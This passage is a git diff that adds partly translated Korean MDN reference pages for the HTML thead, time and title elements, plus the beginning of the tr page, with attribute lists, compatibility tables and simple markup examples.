+ <li>Other table-related HTML Elements: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/thead/index.html b/files/ko/web/html/element/thead/index.html
new file mode 100644
index 0000000000..50164bfebc
--- /dev/null
+++ b/files/ko/web/html/element/thead/index.html
@@ -0,0 +1,270 @@
+---
+title: <thead>
+slug: Web/HTML/Element/thead
+translation_of: Web/HTML/Element/thead
+---
+<h2 id="개요">개요</h2>
+
+<p>The <em>HTML Table Head Element</em> (<code>&lt;thead&gt;</code>) defines a set of rows defining the head of the columns of the table.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><a href="/en/HTML/Content_categories" title="en/HTML/Content categories">콘텐츠 범주</a></td>
+ <td>None.</td>
+ </tr>
+ <tr>
+ <td>허용되는 콘텐츠</td>
+ <td>Zero or more {{ HTMLElement("tr") }} elements.</td>
+ </tr>
+ <tr>
+ <td>태그 생략</td>
+ <td>The start tag is mandatory. The end tag may be omitted if the {{ HTMLElement("thead") }} element is immediately followed by a {{ HTMLElement("tbody") }} or {{ HTMLElement("tfoot") }} element.</td>
+ </tr>
+ <tr>
+ <td>허용되는 부모 요소</td>
+ <td>A {{ HTMLElement("table") }} element. The {{ HTMLElement("thead") }} must appear after any {{ HTMLElement("caption") }} or {{ HTMLElement("colgroup") }} element, even implicitly defined, but before any {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }} and {{ HTMLElement("tr") }} element.</td>
+ </tr>
+ <tr>
+ <td>Normative document</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-thead-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-thead-element">HTML5, section 4.9.6</a> (<a href="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-THEAD" title="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-THEAD">HTML4.01, section 11.2.3</a>)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{ htmlattrdef("align") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>, aligning the content to the left of the cell</li>
+ <li><code>center</code>, centering the content in the cell</li>
+ <li><code>right</code>, aligning the content to the right of the cell</li>
+ <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+ <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{ htmlattrxref("char", "thead") }} and {{ htmlattrxref("charoff", "thead") }} attributes {{ unimplemented_inline("2212") }}.</li>
+ </ul>
+
+ <p>If this attribute is not set,  the <span style="font-family: courier new;">left</span> value is assumed.</p>
+
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+ <li>To achieve the same effect as the <span style="font-family: courier new;">left</span>, <span style="font-family: courier new;">center</span>, <span style="font-family: courier new;">right</span> or <span style="font-family: courier new;">justify</span> values, use the CSS {{ cssxref("text-align") }} property on it.</li>
+ <li>To achieve the same effect as the <span style="font-family: courier new;">char</span> value, in CSS3, you can use the value of the {{ htmlattrxref("char", "thead") }} as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt>
+ <dd>This attribute defines the background color of each cell of the column. It is one of the 6-digit hexadecimal code as defined in <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, prefixed by a '#'. One of the sixteen predefined color strings may be used:
+ <table style="width: 80%;">
+ <tbody>
+ <tr>
+ <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">black</span> = "#000000"</td>
+ <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">green</span> = "#008000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">silver</span> = "#C0C0C0"</td>
+ <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">lime</span> = "#00FF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">gray</span> = "#808080"</td>
+ <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">olive</span> = "#808000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">white</span> = "#FFFFFF"</td>
+ <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">yellow</span> = "#FFFF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">maroon</span> = "#800000"</td>
+ <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">navy</span> = "#000080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">red</span> = "#FF0000"</td>
+ <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">blue</span> = "#0000FF"</td>
+ </tr>
+ <tr>
+ <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">purple</span> = "#800080"</td>
+ <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">teal</span> = "#008080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">fuchsia</span> = "#FF00FF"</td>
+ <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+ <td><span style="font-family: courier new;">aqua</span> = "#00FFFF"</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>Usage note: </strong>Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: the {{ HTMLElement("thead") }} element should be styled using <a href="/en/CSS" title="en/CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en/CSS" title="en/CSS">CSS</a> property {{ cssxref("background-color") }}, on the relevant {{ HTMLElement("td") }} or {{ HTMLElement("th") }} elements.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("char") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{ htmlattrxref("align", "tr") }} is not set to <span style="font-family: courier new;">char</span>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{ htmlattrxref("char", "thead") }}, in CSS3, you can use the character set using the {{ htmlattrxref("char", "thead") }} attribute as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("charoff") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+ <li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li>
+ <li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li>
+ <li><span style="font-family: courier new;">middle</span>, which will center the text in the cell;</li>
+ <li><span style="font-family: courier new;">top</span>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{ cssxref("vertical-align") }} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>This element implements the <code><a href="/en/DOM/HTMLTableSectionElement" title="en/DOM/HTMLTableSectionElement">HTMLTableSectionElement</a></code> interface.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>See {{ HTMLElement("table") }} for examples on<code> &lt;thead&gt;</code>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop("1.0") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>align/valign</code> 속성</td>
+ <td>1.0</td>
+ <td>{{ CompatNo() }} {{ bug("915") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>char/charoff</code> 속성</td>
+ <td>1.0</td>
+ <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>bgcolor</code> 속성 {{ Non-standard_inline() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatGeckoMobile("1.0") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>align/valign</code> 속성</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }} {{ bug("915") }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>char/charoff</code> 속성</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td><code>bgcolor</code> 속성 {{ Non-standard_inline() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("td") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <span style="font-family: courier new;">&lt;thead&gt;</span> element:
+ <ul>
+ <li>the {{ cssxref(":nth-child") }} pseudo-class to set the alignment on the cells of the column;</li>
+ <li>the {{ cssxref("text-align") }} property to align all cells content on the same character, like '.'.&lt;</li>
+ </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/time/index.html b/files/ko/web/html/element/time/index.html
new file mode 100644
index 0000000000..291c05b2b8
--- /dev/null
+++ b/files/ko/web/html/element/time/index.html
@@ -0,0 +1,169 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/time
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;time&gt;</code> 요소</strong>는 시간의 특정 지점 또는 구간을 나타냅니다.</span> <code>datetime</code> 특성의 값을 지정해 보다 적절한 검색 결과나, 알림 같은 특정 기능을 구현할 때 사용할 수 있습니다.</p>
+
+<p><code>&lt;time&gt;</code> 요소가 나타낼 수 있는 시간은 다음과 같습니다.</p>
+
+<ul>
+ <li>24시간 표기법 시계의 시간.</li>
+ <li>정확한 <a href="https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%A0%88%EA%B3%A0%EB%A6%AC%EB%A0%A5">그레고리력</a> 날짜. (시간대 정보 포함 가능)</li>
+ <li><a href="https://www.w3.org/TR/2014/REC-html5-20141028/infrastructure.html#valid-duration-string">유효한 시간 범위</a>.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/time.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTimeElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>요소의 시간 또는 날짜 값. 아래에서 설명하는 형식 중 하나여야 합니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;time&gt;</code> 요소는 기계가 읽을 수 있는 형태로 날짜와 시간을 표현할 때 사용합니다. 예를 들어, 일정의 경우 사용자 에이전트가 자동으로 달력에 일정을 추가할 수 있도록 정확한 일시를 나타낼 수 있습니다.</p>
+
+<p>복잡한 계산상 문제로 인해, 그레고리력의 도입 이전 시간을 나타낼 때 사용해서는 안됩니다.</p>
+
+<p>기계가 읽을 날짜와 시간 값은 <code>datetime</code> 특성의 값으로, 아래의 적절한 형식 중 하나여야 합니다. <code>datetime</code> 특성이 없는 경우 <strong>어떠한 자식 요소도 두어서는 안되며</strong>, 요소의 텍스트 콘텐츠를 <code>datetime</code> 특성 값으로 간주합니다.</p>
+
+<h3 id="유효한_datetime_값">유효한 <code>datetime</code> 값</h3>
+
+<dl>
+ <dt>유효한 연도 문자열</dt>
+ <dd><code>2011</code></dd>
+ <dt>유효한 연-월 문자열</dt>
+ <dd><code>2011-11</code></dd>
+ <dt>유효한 연-월-일 문자열</dt>
+ <dd><code>2011-11-18</code></dd>
+ <dt>유효한 월-일 문자열</dt>
+ <dd><code>11-18</code></dd>
+ <dt>유효한 주차 문자열</dt>
+ <dd><code>2011-W47</code></dd>
+ <dt>유효한 시간 문자열</dt>
+ <dd><code>14:54</code></dd>
+ <dd><code>14:54:39</code></dd>
+ <dd><code>14:54:39.929</code></dd>
+ <dt>유효한 현지 날짜 및 시간 문자열</dt>
+ <dd><code>2011-11-18T14:54:39.929</code></dd>
+ <dd><code>2011-11-18 14:54:39.929</code></dd>
+ <dt>유효한 국제 날짜 및 시간 문자열</dt>
+ <dd><code>2011-11-18T14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-04:00</code></dd>
+ <dd><code>2011-11-18 14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-04:00</code></dd>
+ <dt>유효한 기간 문자열</dt>
+ <dd><code>PT4H18M3S</code></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The concert starts at &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('간단한_예제', 250, 60) }}</p>
+
+<h3 id="datetime_예제"><code>datetime</code> 예제</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The concert took place on &lt;time datetime="2001-05-15 19:00"&gt;May 15&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('datetime_예제', 250, 60) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'textlevel-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>No change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.time")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>날짜와 시간 외 다른 종류의 값을 나타낼 수 있는 {{htmlelement("data")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/title/index.html b/files/ko/web/html/element/title/index.html
new file mode 100644
index 0000000000..178a0d05ff
--- /dev/null
+++ b/files/ko/web/html/element/title/index.html
@@ -0,0 +1,134 @@
+---
+title: '<title>: 문서 제목 요소'
+slug: Web/HTML/Element/title
+tags:
+ - Element
+ - HTML
+ - HTML document metadata
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+translation_of: Web/HTML/Element/title
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;title&gt;</code> 요소</strong>는 브라우저의 제목 표시줄이나 페이지 탭에 보이는 문서 제목을 정의합니다.</span> 텍스트만 포함할 수 있으며 태그를 포함하더라도 무시합니다.</p>
+
+<pre class="brush: html">&lt;title&gt;Grandma's Heavy Metal Festival Journal&lt;/title&gt;</pre>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>비어있지 않는 텍스트.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그와 닫는 태그 모두 필수입니다. <code>&lt;/title&gt;</code>이 없으면 브라우저가 페이지의 나머지 내용을 무시합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>다른 <code>&lt;title&gt;</code> 요소를 포함하지 않은 {{htmlelement("head")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTitleElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;title&gt;</code> 요소는 페이지의 {{HTMLElement("head")}} 안에서 사용해야 합니다.</p>
+
+<h3 id="페이지_제목과_SEO">페이지 제목과 SEO</h3>
+
+<p>페이지 제목은 {{glossary("SEO")}}에 큰 영향을 줍니다. 보통, 짧고 일반적인 이름보다 길고 상세한 제목이 더 좋은 성과를 내곤 합니다. {{glossary("search engine", "검색 엔진")}}이 결과 페이지의 순서를 결정하는 구성 요소 중 하나가 페이지 제목의 내용이기 때문입니다. 또한, 검색 결과에서 잠재적 독자의 주목을 끌 수 있는 최초 "훅"이 바로 제목입니다.</p>
+
+<p>다음은 좋은 제목을 작성할 때 참고할 수 있는 몇 가지 지침입니다.</p>
+
+<ul>
+ <li>하나 혹은 두 개의 단어로만 제목을 구성하는걸 피하세요. 콘텐츠를 설명하는 문장을 넣거나, 사전과 참고 문서의 경우 용어와 정의를 짝지어 사용하세요.</li>
+ <li>검색 결과는 보통 페이지 제목의 첫 55~60글자만 노출합니다. 이후 텍스트는 보이지 않을 수도 있으므로 글자 수를 제한하세요. 긴 제목을 반드시 사용해야 하는 경우, 중요한 부분을 앞에 배치해서 뒷부분이 없어지더라도 내용을 잃지 않도록 주의하세요.</li>
+ <li>"키워드 뭉치" 스타일의 제목은 피하세요. 제목이 단순한 단어 나열에 불과하다면 검색 알고리즘이 결과에서 순서를 내리곤 합니다.</li>
+ <li>웹 사이트 내에서 제목을 최대한 겹치지 않도록 하세요. 중복, 혹은 유사한 제목은 검색 결과의 정확도를 떨어트리는 요인입니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;title&gt;엄청 흥미로운 내용&lt;/title&gt;
+</pre>
+
+<p>예제 코드를 포함한 문서를 연 브라우저 창이나 탭의 제목이 "엄청 흥미로운 내용"으로 바뀌게 됩니다.</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>페이지의 목적을 설명하는 <code>title</code>을 제공하는 것이 중요합니다.</p>
+
+<p>보조 기술 사용자가 자주 사용하는 탐색 기술 중 하나는 페이지의 제목을 읽고 어떤 내용일지 유추하는 것입니다. 일일히 탐색해가며 콘텐츠를 찾는건 시간도 많이 들 뿐더러 어려운 일이기 때문입니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<pre class="brush: html">&lt;title&gt;메뉴 - 블루 하우스 치즈 - FoodYum: 지금 바로 온라인으로 주문하세요!&lt;/title&gt;
+</pre>
+
+<p>사용자를 도와주려면 페이지의 <code>title</code> 값이 중요한 상태의 변화(입력 폼 유효성 문제 등)를 반영하도록 바꾸세요.</p>
+
+<pre class="brush: html">&lt;title&gt;오류 2개 - 주문서 - 블루 하우스 치즈 - FoodYum: 지금 바로 온라인으로 주문하세요!&lt;/title&gt;
+</pre>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html">Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.title")}}</p>
diff --git a/files/ko/web/html/element/tr/index.html b/files/ko/web/html/element/tr/index.html
new file mode 100644
index 0000000000..116e664557
--- /dev/null
+++ b/files/ko/web/html/element/tr/index.html
@@ -0,0 +1,217 @@
+---
+title: <tr>
+slug: Web/HTML/Element/tr
+translation_of: Web/HTML/Element/tr
+---
+<h2 id="개요">개요</h2>
+
+<p>The <em>HTML Table Row Element</em> (<code>&lt;tr&gt;</code>) defines a row of cells in a table. Those can be a mix of {{HTMLElement("td")}} and {{HTMLElement("th")}} elements.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content categories">콘텐츠 범주</a></td>
+ <td>None.</td>
+ </tr>
+ <tr>
+ <td>허용되는 콘텐츠</td>
+ <td>Zero or more {{HTMLElement("td")}} or {{HTMLElement("th")}} elements, or a mix of them</td>
+ </tr>
+ <tr>
+ <td>태그 생략</td>
+ <td>The start tag is mandatory. The end tag may be omitted if the {{HTMLElement("tr")}} element is immediately followed by a {{HTMLElement("tr")}} element, or if the parent table group ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}}) element doesn't have any more content.</td>
+ </tr>
+ <tr>
+ <td>허용되는 부모 요소</td>
+ <td>A {{HTMLElement("table")}}, {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}} element.</td>
+ </tr>
+ <tr>
+ <td>Normative document</td>
+ <td><a class="external" href="http://www.whatwg.org/html/#the-tr-element">HTML, "The <code>tr</code> element"</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
